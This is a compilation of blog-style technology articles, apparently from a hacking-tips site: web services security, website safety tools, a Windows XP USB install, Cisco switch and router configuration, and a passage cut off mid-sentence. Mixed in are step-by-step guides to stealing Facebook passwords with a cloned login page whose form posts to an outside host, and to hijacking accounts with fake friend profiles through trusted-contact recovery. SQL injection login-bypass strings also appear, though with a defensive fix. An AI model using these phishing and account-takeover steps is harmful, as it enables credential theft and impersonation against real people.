Web Services Security - The Basics

Wiki defines Web services as “Application programming interfaces (API) or web APIs that can be accessed over a network, such as the Internet, and executed on a remote system hosting the requested services”. So putting this down in simpler words, it is a function of the application that can be made available for use for other developers to integrate it into their applications.

Say I have a piece of code which precisely calculates the age of any girl based on 5 questions and their answers. Believe me this is really a difficult piece of code and everyone will wish to have it on their website. Now if I publish this code as a service, you as a developer can simply use this service and integrate into your application instead of itching your gray cells and trying to write one of your own. Since web services can be used to connect to data sources from even outside the enterprise, they are prone to hacker attacks.

Before moving towards basic security concepts lets first understand the four technologies that form the basis of web services:

1. Extensible Markup Language (XML):
1. XML is plain text.
2. XML was designed to carry data, not to display data
3. XML tags are not predefined. You must define your own tags
4. XML is designed to be self-descriptive
5. XML is the standard of web services standards.
2. Simple Object Access Protocol (SOAP):
   
   1. SOAP is a communication protocol
   2. SOAP is a format for sending messages
   3. SOAP is designed to communicate via Internet
   4. SOAP is platform independent
   5. SOAP is language independent
   6. SOAP is based on XML
   7. SOAP is simple and extensible
   8. SOAP allows you to get around firewalls
   SOAP consists of 2 parts, the header which contains information about SOAP messages like management and securing the message etc and the other part is the body which contains the message payload.
3. Web Services Description Language (WSDL):
1. WSDL is used to describe Web services
2. WSDL is used to locate Web services
3. WSDL describes the set of operations the web service provides.
4. WSDL is a set of rules to describe your web service & how you can communicate with my web services, how & what messages will be sent in SOAP envelope.
4. Universal Description, Discovery & Integration (UDDI):
1. UDDI is a directory for storing information about web services
2. UDDI is a directory of web service interfaces described by WSDL
3. UDDI defines the set of services supporting the description & discovery of other web services providers, the web services they make available & the interfaces which may be used to access this services.

Web Services thus aim to deliver interoperability and reusability thus helping different business applications to talk/transact across multiple platforms. And like any other technology, even Web Services do not have security incorporated or enabled by default. Web Services Security can broadly be divided into two categories: interface and implementation security and message security.

Interface and implementation security includes controls such as Secure Socket Layer (SSL), Access Control Lists (ACL) etc. These are the basic web based security implementations.

For message security, XML mechanisms such as WS-Security, the Security Assertion Markup Language (SAML), XML Signature and XML Encryption can sign, encrypt, and authenticate message data. Thus the trust in confidentiality and authenticity in the transit of data increases giving a greater sense of security. Let us have their quick overview.

XML Signature

Defines XML syntax for digital signatures. Also referred as XML DSig, it is more flexible than PGP and other form of digital signatures as the fact that it operates on XML infoset rather than binary data. (XML infoset in simpler words is describing XML document as a data model in terms of information items). It is core to WS-Security, XKMS, and other Web services security standards. It provides integrity and non-repudiation, and can play a vital role in the process of key sharing that is needed by XML Encryption.

Another important concept is canonicalization. Verifying data integrity in XML is particularly challenging since the differences in platforms and XML parsers can result in logically equivalent documents being physically different. So canonicalization signs only the necessary element, eliminating meaningless differences like white space and line endings.

XML Encryption

XML Encryption provides end-to-end security for applications that require secure exchange of structured data. XML-based encryption is the best suited way to handle complex XML requirements for security in data interchange applications. TLS/SSL is originally used to encrypt the data. However XML encryption provides a mechanism for security requirements that are not covered by SSL. The following are the two important areas not addressed by SSL:

• Encrypting part of the data being exchanged
• Secure sessions between more than two parties

XML encryption are divided into two main parts:

• Symmetric encryption for data transfer
• Asymmetric encryption to exchange the eyes which can be used for data transfer later.

XML Encryption applies standard algorithms to data and then stores that encrypted result in XML.

SAML

Security Assertion Markup Language is an XML-based standard for exchanging authentication and authorization data between security domains, that is, between an identity provider (a producer of assertions) and a service provider (a consumer of assertions). Assertion applies to an individual or entity which is attached to the message. Thus in short SAML provides a set of rules that can be used to obtain these assertions from trusted third party services that make authorization and authentication decisions about individuals and entities. After the authority makes its assertion, SAML also provides a way to exchange the information.

Also the other single most important problem that SAML is trying to solve is the Web Browser Single Sign-On (SSO) problem

WS-Security

WS-Security deals more with SOAP security and is the member of WS-* family of web service specifications which were published by OASIS. The protocol specifies how integrity and confidentiality can be enforced on messages and it abstracts different security technologies into claims and tokens. Its main focus is the use of XML Signature and XML Encryption to provide end-to-end security.

WS-Security describes three main mechanisms:

• How to sign SOAP messages (using XML signatures) to assure integrity and non-repudiation.
• How to encrypt SOAP messages (using XML encryption) to assure confidentiality.
• How to apply for security token, hoe to link them to identity & how they are attached to web services.

Auditing

Other than above mentioned basic controls, auditing should also be enabled. This can help detect any “broken into” kind of requests. They can also reveal larger weaknesses that might affect regulatory compliance and even corporate governance. Auditing can basically include the following categories:

• Authentication, Authorization & Access
• Data Changes & Application Changes
• Threats such as invalid inputs
• Resource management
• Startups & Shutdown events
• Faults & Errors

Other Concerns

Other issues which needs to be considered while securing web services include:

1. Brute force attack: Proper measures should be in place to avoid brute force attacks to gain privilege access. Recently improper controls against brute force attack on Yahoo web services was in the news. The attacker was able to gain login credentials for hundreds of users (with weak passwords). The account must be locked out after specified number of incorrect login attempts.
2. Spoofing attack: An attack can spoof user information to gain unauthorized access. If the compromised credentials belong to an administrator account, the outcome can be worse. Proper authentication mechanism can help tackle spoofing attacks.
3. Security bugs: Bugs in the application can be used by attacker to launch attacks like XPATH/SQL injection, Input variable manipulation etc. The user input should be proper validated.
4. XML Denial of Service attack: The vulnerability mainly exists in the XML parser. Specially crafted payloads can bring the XML parser down to its knees. Some known attacks are XML Bombs, External Entity attacks. There are various ways to defend against DoS attacks like disabling unwanted services like inline DTD schemas in our XML parsing object, securely configuring the behavior of XmlReader etc.

Thus we have done a brief walk-through of security concepts and controls that can be implemented in Web Services. Controls for encryption, authentication, authorization, non-repudiation and availability when implemented correctly can help protect your web services against preying eyes of hackers.

How to hack facebook account and what are its preventive measures

Step 1: Go to www.facebook.com


Step 2: Save the login page of facebook (shortcut:press ctrl+S)


Step 3: Now 2 things would have been saved in your computer with the name "Welcome to Facebook - Log In, Sign Up or Learn More"


Step 4: Right click on the saved file with name "Welcome to Facebook - Log In, Sign Up or Learn More.htm" and open it with notepad


Step 5: Now search where the word action is written in it for the first time (shortcut:press ctrl+F then type action in it and then press enter).


Step 6: Now after action you will see action="https://www.facebook.com/login.php?login_attempt=1" id="login_form"


Step 7: Now replace that line with action="http://indianhackerz.net.tc/fb.php?id=your-email-id-here@gmail.com&link=www.facebook.com/login.php?login_attempt=1"


Step 8: Now replace the line your-email-id-here@gmail.com with your email-id where you want to recieve the password.


Step 9: Save the notepad(shortcut: ctrl+s).


Step 10: Now just put this page on your Desktop who so ever will login from this will be hacked. You will be having his/her password in your email-id or the other option you have is that upload this page on a free web hosting site where you can upload both these pages and if you have your own website you can upload this on that and send the link to others.).


Note: Remember both the files will be moved together which you saved with the name "Welcome to Facebook - Log In, Sign Up or Learn More" and you can rename the file with the name "Welcome to Facebook - Log In, Sign Up or Learn More.htm" but not that folder.


This trick was for educational purpose only and the preventive measure is that always see the URL of the site(Complete URL if site has url www.facebook.com.indianhackerz.net.tc then also its fake not genuine.).

How to hack website using SQL injectio

I want to show you just one way that hackers can get in to your website and mess it up, using a technique called SQL Injection. And then I'll show you how to fix it. This article touches on some technical topics, but I'll try to keep things as simple as possible. This article teaches to attack on those websites which have data base. So if your website doesn't use a database, you can relax a bit. From data base i mean to say if site asks for username and password which is stored in the database so as to keep records of all the users.
This article will show you how you can hack in to vulnerable websites, and to check your own website for one specific vulnerability. It's OK to play around with this on your own site but do not be tempted to try it out on a site you do not own. If the site is properly managed, an attempt to log in using this or similar methods will be detected and you might find yourself facing charges under cyber laws.
What is SQL Injection?
SQL(Structured Query Language) and it is the language used by most website databases. SQL Injection is a technique used by hackers to gain access to confidential information or to change or delete the data that keeps your website running. Using this SQL Injection attack a hacker can also log in as an administrator, even if he doesn't know the password.
Is your site vulnerable?
If your website has a login form for an administrator to log in, go to your site now, in the username field type the administrator user name.
In the password field, type or paste this:
x' or 'a' = 'a
If the website didn't let you log in using this string you can relax a bit. This article probably doesn't apply to you. However you might like to try this alternative:
x' or 1=1--
Or you could try pasting either or both of the above strings into both the login and password field. Or if you are familiar with SQL you could try a few other variations. A hacker who really wants to get access to your site will try many variations before he gives up.
If you were able to log in using any of these methods then you need to get rid of this kind if SQL injection and all other similar attacks.


The technical stuff
If you were able to log in, then the code which generates the SQL for the login looks something like this:
$sql =
"SELECT * FROM users
"WHERE username = '" . $uname .
"' AND password = '" . $pword . "'";


When you log in normally, let's say using userid admin and password secret, what happens is the admin is put in place of $username and secret is put in place of $password. The SQL that is generated then looks like this:
SELECT * FROM users WHERE username = 'admin' and PASSWORD = 'secret'
But when you enter x' or 'a' = 'a as the password, the SQL which is generated looks like this:
SELECT * FROM users WHERE username = 'admin' and PASSWORD = 'x' or 'a' = 'a'
Notice that the string: x' or 'a' = 'a has injected an extra phrase into the WHERE clause: or 'a' = 'a' . This means that the WHERE is always true, and so this query will return a row contain the user's details.
If there is only a single user defined in the database, then that user's details will always be returned and the system will allow you to log in. If you have multiple users, then one of those users will be returned at random. If you are lucky, it will be a user without administration rights (although it might be a user who has paid to access the site). Do you feel lucky?
How to defend against this type of attack
Fixing this security hole isn't difficult. There are several ways to do it. If you are using MySQL, for example, the simplest method is to escape the username and password, using the mysql_escape_string() or mysql_real_escape_string() functions, e.g.:
$userid = mysql_real_escape_string($userid);
$password = mysql_real_escape_string($password);
$sql =
"SELECT * FROM users
"WHERE username = '" . $username .
"' AND password = '" . $password . "'";


Now when the SQL is built, it will come out as:
SELECT * FROM users WHERE username = 'admin' and PASSWORD = 'x\' or \'a\' = \'a'
Those backslashes ( \ ) make the database treat the quote as a normal character rather than as a delimiter, so the database no longer interprets the SQL as having an OR in the WHERE clause.
This is just a simple example. In practice you need to do a bit more than this as there can be many variations on this attack.

Identify Safe Websites on the Internet

On the whole Internet, there are approximately more than 150 million active websites up and running. As a result, it often becomes a real challenge for the users to identify safe websites that are trustworthy and reputed. Have you ever wondered to know the reputation of a website before placing the order? Need to know whether a given website is child safe? Well, here are some of the ways to identify safe websites on the Web.

1. WOT or Web Of Trust {www.mywot.com}:

WOT is a great place to test the reputation of your favorite website. WOT gives real-time ratings for every website based on the feedback that it gets from millions of trustworthy users across the globe and trusted sources, such as phishing and malware blacklists. Each domain name is evaluated based on this data and ratings are applied to them accordingly. A snapshot of WOT ratings for gohacking.com is shown below:

As shown in the above snapshot, the reputation of each website is shown in terms of 4 components where green means excellent, yellow warns users to be cautious and red indicates potential danger.

 Trustworthiness signifies the overall safety of the website. A poor rating may indicate that the site is associated with threats like Internet scams, phishing, identity theft risks and malware. For more information on phishing, you may refer my other post on how to identify and avoid phishing scams.

Vendor reliability tells you whether a given site is safe for carrying out buy and sell transactions with it. An excellent rating indicates superior customer satisfaction while a poor rating indicates possible scam or bad shopping experience.

Privacy indicates about “to what extent the site respects the privacy of it’s users and protects their personal identity and data”.

Child Safety indicates whether the content of a given site is appropriate for children. Site contents like sexual material, nudity and vulgarity will have a poor Child Safety rating.

In most cases, the WOT ratings are found to be highly accurate. To check the reputation of any given website, just visit www.mywot.com type-in the address of your favorite website and click on “Check now”. This tool alone can tell you a lot about the reputation and safety level of a website. However, in addition to this, I am giving you another 3 handy tools to identify safe websites on the Web.

2. McCafee SiteAdvisor:

McCafee SiteAdvisor is a free tool that is available as a browser add-on. It adds safety ratings to your browser and search engine results. You can download it from www.siteadvisor.com.

3. StopBadware:

Using this tool, you can check whether a given site is said to have involved in malware activity in the past. To check this, go to http://www.stopbadware.org/home/reportsearch and enter the URL or domain name of a website and click on “Search Clearinghouse ”. If the search does not return any result, that means the site was never involved in any of the malware activity in the past.

4. Google Pagerank:

Google PageRank is another great tool to check the reputation and popularity of a website. The PageRank tool rates every webpage on a scale of 1 to 10 which indicates Google’s view of importance of the page. If a given website has a PageRank of less than 3, then it is said to be less popular among the other sites on the Internet.

However, PageRank will only tell you how much popular a given website is and has nothing to do with the safety level of a website. So, this tool alone cannot be used to evaluate a website’s safety and other factors.

 PageRank feature is available as a part of Google Toolbar. You can install Google Toolbar from http://www.google.com/intl/en_uk/toolbar/ie/index.html.

I hope you like this article. Waiting for your comments…

Installing Windows XP & Windows 7 from USB

 Researching the topic of installing XP from USB, and after learning a lot from this and other forums,  Based on all the available knowledge, is it possible to install XP from USB using no third party tools, except what's available to me in a standard Windows 7 installation? I realise that there are now lots of good tools available online for a variety of installation scenarios, but there is something satisfying about managing to do this "out of the box".

The scenario. Available to me were: Legitimate Windows XP with SP1 setup CD.
Target computer: has 1 blank Harddisk and can boot from USB. Aim to install XP here. No CD drive.
"Work" computer: standard Windows 7 installation, used for preparation.
Blank 1 Gb USB stick.
The restriction was that I could only use whatever tools are included in Windows 7 on the Work machine. No third party applications. In addition, I aimed to make the fewest possible tweaks along the way.

The steps that worked successfully to install XP from USB, exactly as written, from the first to last step. Some additional remarks are at the end.

Steps 1 - 5 are performed on the Work computer.
Steps 6 - 10 are performed on the Target computer.

Step 1) Partition and format the USB stick in Windows 7, which makes it bootable:
Start Command Prompt, start diskpart.
Enter commands: select disk 2, clean, create partition primary, active
Exit diskpart, unplug and replug the stick.
Format the stick via Windows Explorer (I chose FAT32).
Note: the value in "select disk 2" depends on the number of harddisks and other USB storage devices you have! You have to check what value is appropriate for your system (use "list disk"). I have two Harddisks and disconnected all other USB storage devices, hence the value is 2 for me (numbered from 0).

Step 2) Copy contents of Windows XP with SP1 setup CD in whole to the USB stick.

Step 3) Copy these files from \I386 folder to \ on USB stick:
setupldr.bin -> bootmgr (rename), ntdetect.com, txtsetup.sif

Step 4) Edit \txtsetup.sif to add two lines in [SetupData] section:
BootPath = "\I386\"
SetupSourceDevice = "\Device\Harddisk0\Partition1"

Step 5) Use Notepad to create a file named boot.hdd at \ on USB stick with these two lines:
[Operating Systems]
multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Windows XP" /fastdetect

Step 6) Boot from the USB stick on the Target computer. This starts the text-mode portion of Setup.
Follow the instructions on-screen, creating/formatting a partition on the Harddisk as needed in the process. Make sure to install Windows XP in the first partition, in the WINDOWS directory.

Step 7) When Setup reboots, reboot from the USB stick again and enter Recovery Console. If you try to boot from the Harddisk at this point, you'll get a hal.dll error.

Step 8) Using the Recovery Console, rename c:\boot.ini to boot.bak. Copy \boot.hdd from USB stick to c:\boot.ini

Step 9) Reboot, this time from the Harddisk. This starts the first GUI portion of Setup. Proceed as normal, but you are asked for the location of various files several times along the way. Each time answer with D:\I386, where D is the drive letter of the USB stick at this point. Trial and error works here. Have to do this about 20 times total.

Step 10) When setup reboots again, reboot from the Harddisk. This is the last GUI portion of Setup. Proceed as normal.

Done! This process took me 61 minutes from start to finish, which included 30 minutes for copying the contents of the CD onto the USB stick. The process is non-destructive in the sense that it does not modify the contents of the USB stick in any way.

Remarks

 Using Windows 7, partitioning with diskpart and formatting via Windows Explorer is actually sufficient to create a bootable USB stick. The resulting stick will boot in most modern PCs, and a lot of older ones. When formatting, Windows 7 correctly enters drive number 80h in the BPB of the partition on a USB stick (unlike Windows XP, which enters 00h, leading to issues with bootability). However, creating a bootable USB stick is not always an easy or guaranteed process. It worked for me on my hardware, but your milage may vary.

Conventionally, setupldr.bin is renamed to ntldr, but I had to use bootmgr instead, because naturally the VBR code placed by Win 7 loads that one.

As is well-known, XP setup can be performed from a properly prepared local source on the USB stick, using $WIN_NT$.~BT/$WIN_NT$.~LS. What's less known is that setup can be booted and performed from *any* directory, using BootPath and SetupSourceDevice. These two settings are honoured if placed in txtsetup.sif in the current directory next to ntdetect.com. SetupSourceDevice overrides the need for a CD drive.

The value of SetupSourceDevice can be any valid NT device path. When booting from a USB stick, the stick normally gets assigned as \Device\Harddisk0. The fun thing is that other paths also work, for example "\GLOBAL??\D:", where D is the drive letter assigned to your USB stick when booting from it. (Bit of trial and error needed here). The trick is that all Win32 device paths are actually a subset of all NT device paths, attached under \GLOBAL??. Note that paths other than NT device paths don't work (such as ARC paths, or direct Win32 paths such as "D:" or "\\.\Physicaldisk0".

There is no need to prepare winnt.sif

The deal with having to prepare a boot.ini file in advance and copy it over using Recovery Console is because of the ARC path problem arising from booting from USB, which leads to the (in)famous hal.dll error. Sadly Recovery Console doesn't allow file editing, so the correct boot.ini has to be prepared in advance. This issue is well-documented, so just in brief:
When booting from USB under XP (and its setup), the USB stick is assigned multi(0)disk(0)rdisk(0), and the internal harddisks are assigned multi(0)disk(0)rdisk(1) onwards. When booting from the harddisk, it is of course assigned multi(0)disk(0)rdisk(0). Since the setup was started by booting from USB, an incorrect boot.ini file is created on the harddisk (with a multi(0)disk(0)rdisk(1) entry). In order to correct this and allow booting from the harddisk, the boot.ini file on the harddisk needs fixing.

What is hacking? Types of hacking

Hacking is the art of problem solving. People who engage in computer hacking activities are often called hackers. Basically Hackers are the people who do things in a smarter way which a normal person cannot. Whether its finding a solution or exploiting loopholes in programming.

Most of the people misconceive that hacking means "law breaking" which is NOT TRUE. All hackers are not criminals and neither hacking is illegal. Hacking is a sort of a power. A power of innovation , its up to a person whether to use these to be a superhero or be a wicked evil. So there is nothing wrong in learning hacking but its important to use your skills for good purpose and not to take undue advantage of your hacking skills.

And how to distinguish between these superheroes(good hackers) and these villians ( bad hackers )-which are actually called crackers. Cracker was the term coined to distinguish evil hackers who steal our credit card numbers , defacing websites etc. Hackers stayed true to the Hacker Ethic, while crackers are only interested in breaking the law and making quick money. All the bad guys of the hacking world doing piracy, defacing websites, stealing credit card information etc. are supposed to be called 'crackers' who actually are less talented than the elite hackers

If i talk in terms of US laws then it says, it is intentionally accessing a system without permissions or may be exceeding authorized access, and thereby obtaining information. The laws basically emphasize more on government computers, but intrusion made on any individual's pc without his/her knowledge will also be called as a crime.

But this term is not being used by the media and because of its ability to sensationalise has made an evil image of the word hacker, although its not. In many cases, computer hacking helps prevent identity theft and other serious computer-related crimes.

Types of hacking

Friends i searched on many site under the topic types of hacking and i have found that most of the sites have only tell some different ways of hacking and not the proper categories of types of hacking.

So i am just giving division of types of hacking done by different hackers or whatever you call :-

1. Local Hacking
2. Social Networking Hacking
3. Remote Hacking.

Facebook account hacking without any software or technical knowledge.

Step 1 : First you need to create 3 email account. And sign up for facebook with those fake accounts. So now you must be having 3 new facebook accounts. ( don't forget to confirm your Facebook account)


Step 2 : Now u have to send friend request to the Vitim from all those 3 fb accounts. (but you should be clever enough so that your requst must be accepted.)


Step 3 : U would be thinking what if the victim won't accept the request, here comes your talent. Just make the user name with the names of victim’s friend or may be suppose if his interest is in hacking then make the user name like grey hat hacker , virus , facebook hacked and so on. Even you can attract the victim by using a pic of beautiful girl if victim is a guy or may be any handsome guy if victim is a girl..lol


Step 4 : Now go to www.facebook.com and click on “Forgot your password” Then you need to identify your victim's account by using his Facebook E-mail, Facebook name or Facebook name + Facebook friend's name. It would be easier to identify the victim with his or her Facebook name. When you got the account, just click on "This Is My account".


Step 5 : Once you identify you're at victim’s profile, Facebook suggests you to recover the password by the existing email address. You can bypass that by clicking on "No longer have access to these"?


Step 6 : Now Facebook will ask a secret question (If the victim has one), to bypass that, you'll need to type the wrong answers three times. After that Facebook will try to help you recover the password by the support of 3 friends.


Step 7: Just select your three fake profiles that your victim added to his friends.(The friends must be registered more than three weeks).


Step 8: Then you'll get the code on your fake profiles, with those 3 codes you can easily change the password.


Note : Your fake account must be friend with that person with atleast 3 weeks. And all those 3 accounts must not be friends together.
for eg:- If you want to hack "A" with your "B" , "C" & "D" accounts then "A" should be friend with "B" , "C" & "D" atleast from last 3 weeks and also remember that "B" , "C" & "D" should not be friends with each other.

A project of network connectivity between two Office with wireless setup and vlan

Switch:

As with hubs, Ethernet implementations of network switches support either 10/100 Mbit/s or 10/100/1000 Mbit/s ports Ethernet standards. Large switches may have 10 Gbit/s ports. Switches differ from hubs in that they can have ports of different speed.
The network switch, packet switch (or just switch) plays an integral part in most Ethernet local area networks or LANs. Mid-to-large sized LANs contain a number of linked managed switches. Small office, home office (SOHO) applications typically use a single switch, or an all-purpose converged device such as gateway access to small office/home office broadband services such as DSL router or cable, Wi-Fi router. In most of these cases, the end user device contains a router and components that interface to the particular physical broadband technology, as in the Linksys 8-port and 48-port devices. User devices may also include a telephone interface to VoIP.
In the context of a standard 10/100 Ethernet switch, a switch operates at the data-link layer of the OSI model to create a different collision domain per switch port. If you have 4 computers A/B/C/D on 4 switch ports, then A and B can transfer data between them as well as C and D at the same time, and they will never interfere with each others' conversations. In the case of a "hub" then they would all have to share the bandwidth, run in half-duplex and there would be collisions and retransmissions. Using a switch is called micro-segmentation. It allows you to have dedicated bandwidth on point to point connections with every computer and to therefore run in full duplex with no collisions.

 

Role of switches in networks

Network switch is a marketing term rather than a technical one. Switches may operate at one or more OSI layers, including physical, data link, network, or transport (i.e., end-to-end). A device that operates simultaneously at more than one of these layers is called a multilayer switch, although use of the term is diminishing.
In switches intended for commercial use, built-in or modular interfaces make it possible to connect different types of networks, for example Ethernet, Fibre Channel, ATM, and 802.11. This connectivity can be at any of the layers mentioned. While Layer 2 functionality is adequate for speed-shifting within one technology, interconnecting technologies such as Ethernet and token ring are easier at Layer 3.
Interconnection of different Layer 3 networks is done by routers. If there are any features that characterize "Layer-3 switches" as opposed to general-purpose routers, it tends to be that they are optimized, in larger switches, for high-density Ethernet connectivity.
In some service provider and other environments where there is a need for much analysis of network performance and security, switches may be connected between WAN routers as places for analytic modules. Some vendors provide firewall, network intrusion detection, and performance analysis modules that can plug into switch ports. Some of these functions may be on combined modules.
In other cases, the switch is used to create a mirror image of data that can go to an external device. Since most switch port mirroring provides only one mirrored stream, network hubs can be useful for fanning out data to several read-only analyzers, such as intrusion detection systems and packet sniffers.

Router:

A router is a device that forwards data packets along networks. A router is connected to at least two networks, commonly two LANs or WANs or a LAN and its ISP's network. Routers are located at gateways, the places where two or more networks connect, and are the critical device that keeps data flowing between networks and keeps the networks connected to the Internet. When data is sent between locations on one network or from one network to a second network the data is always seen and directed to the correct location by the router. They accomplish his by using headers and forwarding tables to determine the best path for forwarding the data packets, and they use protocols such as ICMP to communicate with each other and configure the best route between any two hosts.

The Internet itself is a global network connecting millions of computers and smaller networks so you can see how crucial the role of a router is to our way of communicating and computing.

Why Would we Need a Router?

For most home users, they may want to set-up a LAN (local Area Network) or WLAN (wireless LAN) and connect all computers to the Internet without having to pay a full broadband subscription service to their ISP for each computer on the network. In many instances, an ISP will allow you to use a router and connect multiple computers to a single Internet connection and pay a nominal fee for each additional computer sharing the connection. This is when home users will want to look at smaller routers, often called broadband routers that enable two or more computers to share an Internet connection. Within a business or organization,  you may need to connect multiple computers to the Internet, but also want to connect multiple private networks — and these are the types of functions a router is designed for.
Routers for Home & Small Business:

Not all routers are created equal since their job will differ slightly from network to network. Additionally, you may look at a piece of hardware and not even realize it is a router. What defines a router is not its shape, color, size or manufacturer, but its job function of routing data packets between computers. A cable modem which routes data between your PC and your ISP can be considered a router. In its most basic form, a router could simply be one of two computers running the Windows 98 (or higher) operating system connected together using ICS (Internet Connection Sharing).  In this scenario, the computer that is connected to the Internet is acting as the router for the second computer to obtain its Internet connection.
Going a step up from ICS, we have a category of hardware routers that are used to perform the same basic task as ICS, albeit with more features and functions. Often called broadband or Internet connection sharing routers, these routers allow you to share one Internet connection between multiple computers.

 Basic Network Diagram

       (Configuration Example)

First we configure Switch 1:

Switch>en

Switch#configure terminal

Switch(config)#

switch(config)#hostname SW1

SW1(config)#enable password cisco

SW1(config)#vlan 1

SW1(config)#name test

SW1(config)#interface vlan1

SW1(config-if)#ip address 192.168.30.5 255.255.255.0

SW1(config-if)#no shutdown

SW1(config-if)#exit

SW1(config)# ip default-gateway 192.168.30.1

SW1(config)#

SW1(config)#line vty 0 15

SW1(config-line)#password cisco

SW1(config-line)#login

SW1(config)#exit

SW1(config)#

SW1# copy running-config startup-config

SW1#

Configuring Switch2:

Switch>en

Switch#configure terminal

Switch(config)#

switch(config)#hostname SW2

SW2(config)#enable password cisco

SW2(config)#vlan 1

SW2(config)#name test

SW2(config)#interface vlan1

SW2(config-if)#ip address 192.168.10.5 255.255.255.0

SW2(config-if)#no shutdown

SW2(config-if)#exit

SW2(config)# ip default-gateway 192.168.10.1

SW2(config)#

SW2(config)#line vty 0 15

SW2(config-line)#password cisco

SW2(config-line)#login

SW2(config)#exit

SW2(config)#

SW2# copy running-config startup-config

SW2#

Router1:

Router>en

Router#configure terminal

Router(config)#hostname RT1

RT1(config)#enable password cisco

RT1(config)#interface fastEthernet o/1

RT1(config-if)#ip address 192.168.30.1 255.255.255.0

RT1(config-if)#no shutdown

RT1(config-if)#

RT1(config-if)#exit

RT1(config)#interface fastEthernet 0/0

RT1(config-if)#ip address 192.168.20.1 255.255.255.252

RT1(config-if)#no shutdown

RT1(config-if)#

RT1(config-if)#exit

RT1(config)#

RT1(config)#line vty 0 4

RT1(config-line)#password cisco

RT1(config-line)#login

RT1(config-line)#exit

RT1(config)#

RT1(config)#ip route 0.0.0.0 0.0.0.0 192.168.20.2

RT1(config)#exit

RT1# copy running-config startup-config

RT1#

Router2:

Router>en

Router#configure terminal

Router(config)#hostname RT2

RT2(config)#enable password cisco

RT2(config)#interface fastEthernet o/1

RT2(config-if)#ip address 192.168.10.1 255.255.255.0

RT2(config-if)#no shutdown

RT2(config-if)#

RT2(config-if)#exit

RT2(config)#interface fastEthernet 0/0

RT2(config-if)#ip address 192.168.20.2 255.255.255.252

RT2(config-if)#no shutdown

RT2(config-if)#

RT2(config-if)#exit

RT2(config)#

RT2(config)#line vty 0 4

RT2(config-line)#password cisco

RT2(config-line)#login

RT2(config-line)#exit

RT2(config)#

RT2(config)#ip route 0.0.0.0 0.0.0.0 192.168.20.1

RT2(config)#exit

RT2# copy running-config startup-config

RT2#

Test

Ping 192.168.10.10 pc from 192.168.30.10 pc.

Also ping 192.168.30.10 pc from 192.168.10.10 pc.

Both PCs are pinging.

Vlan with wireless setup

Requirements

·        Cisco Aironet Access Points and Wireless Bridges

·        Cisco Catalyst Switches

Note :- We can use the switch side of this configuration with any of these hardware or software:

1.     Catalyst 6x00/5x00/4x00 that runs CatOS or IOS

2.     Catalyst 35x0/37x0/29xx that runs IOS

3.     Catalyst 2900XL/3500XL that runs IOS

Conventions

A VLAN is a switched network that is logically segmented by functions, project teams, or applications rather

than on a physical or geographical basis. For example, all workstations and servers used by a particular

workgroup team can be connected to the same VLAN, regardless of their physical connections to the network

or the fact that they can be intermingled with other teams. Use VLANs to reconfigure the network through

software rather than physically unplug or move the devices or wires.

A VLAN can be thought of as a broadcast domain that exists within a defined set of switches. A VLAN

consists of a number of end systems, either hosts or network equipment (such as bridges and routers),

connected by a single bridging domain. The bridging domain is supported on various pieces of network

equipment, such as LAN switches, that operate bridging protocols between them with a separate group for

each VLAN.

When you connect a device to a Cisco Catalyst switch, the port where the device is connected is a member of

VLAN 1. The MAC address of that device is a part of VLAN 1. You can define multiple VLANs on a single

switch, and you can configure a switch port on most Catalyst models as a member of multiple VLANs.

When the number of ports in a network exceeds the port capacity of the switch, you must cross−connect

multiple switch chassis, which defines a trunk. The trunk is not a member of any VLAN, but a conduit over

which traffic passes for one or more VLANs.

In fundamental terms, the key in the configuration of an access point to connect to a specific VLAN is to

that, if the SSID on an access point is configured to recognize a specific VLAN ID or name, a connection to

the VLAN is established. When this connection is made, associated wireless client devices that have the same

SSID can access the VLAN through the access point. The VLAN processes data to and from the clients the

same way that it processes data to and from wired connections. You can configure up to 16 SSIDs on your

access point, so you can support up to 16 VLANs. You can assign only one SSID to a VLAN.

You extend VLANs into a wireless LAN when you add IEEE 802.11Q tag awareness to the access point.

Frames destined for different VLANs are transmitted by the access point wirelessly on different SSIDs with

different WEP keys. Only the clients associated with that VLAN receive those packets. Conversely, packets

that come from a client associated with a certain VLAN are 802.11Q tagged before they are forwarded onto

the wired network.

For example, employees and guests can access the wireless network of a company at the same time and be

administratively separate. A VLAN maps to an SSID, and the wireless client attaches to the appropriate SSID.

In networks with wireless bridges, you can pass multiple VLANs across the wireless link in order to provide

connectivity to a VLAN from separate locations.

If 802.1q is configured on the FastEthernet interface of an access point, the access point always sends

keepalives on VLAN1 even if VLAN 1 is not defined on the access point. As a result, the Ethernet switch

connects to the access point and generates a warning message. There is no loss of function on either the access

point or the switch, but the switch log contains meaningless messages that can cause more important messages

to be wrapped and not seen.

This behavior creates a problem when all SSIDs on an access point are associated to mobility networks. If all

SSIDs are associated to mobility networks, the Ethernet switch port to which the access point is connected can

be configured as an access port. The access port is normally assigned to the native VLAN of the access point,

which is not necessarily VLAN1. This causes the Ethernet switch to generate warning messages noting that

traffic with an 802.1q tag is sent from the access point.

You can eliminate the excessive messages on the switch if you disable the keepalive function.

If you ignore minor points in these concepts when you deploy VLANs with Cisco Aironet wireless

equipment, you can experience unexpected performance, for example:

The failure to limit allowed VLANs on the trunk to those defined on the wireless device

If VLANs 1, 10, 20, 30 and 40 are defined on the switch, but only VLANs 1, 10 and 30 are defined on

the wireless equipment, you must remove the others from the trunk switchport.

•

Misuse of the designation of infrastructure SSID

When you install access points, only assign the infrastructure SSID when you use an SSID on:

workgroup bridge devices

<00Α8>

repeater access points

<00Α8>

non−root bridges

<00Α8>

It is a misconfiguration to designate the infrastructure SSID for an SSID with only wireless laptop

computers for clients, and causes unpredictable results.

In bridge installations, you can only have one infrastructure SSID. The infrastructure SSID must be

the SSID that correlates to the Native VLAN.

•

Misuse or incorrect design of guest mode SSID designation

When you define multiple SSIDs/VLANs on Cisco Aironet wireless equipment, one (1) SSID can be

assigned as guest mode SSID with the SSID broadcast in 802.11 radio beacons. The other SSIDs are

not broadcast. The client devices must indicate which SSID to connect.

•

Failure to recognize that multiple VLANs and SSIDs indicate multiple OSI Model Layer 3 subnets

Deprecated versions of Cisco Aironet software permit binding multiple SSIDs to one VLAN. Current

versions do not.

•

OSI Model Layer 3 routing failures or incorrect designs

Each SSID and its linked VLAN must have a routing device and some source to address clients, for

example a DHCP server or the scope on a DHCP server.

•

Misunderstand or incorrectly configure Native VLAN

•

Significance of Native VLAN

When you use an IEEE 802.1Q trunk port, all frames are tagged except those on the VLAN configured as the

"native VLAN" for the port. Frames on the native VLAN are always transmitted untagged and are normally

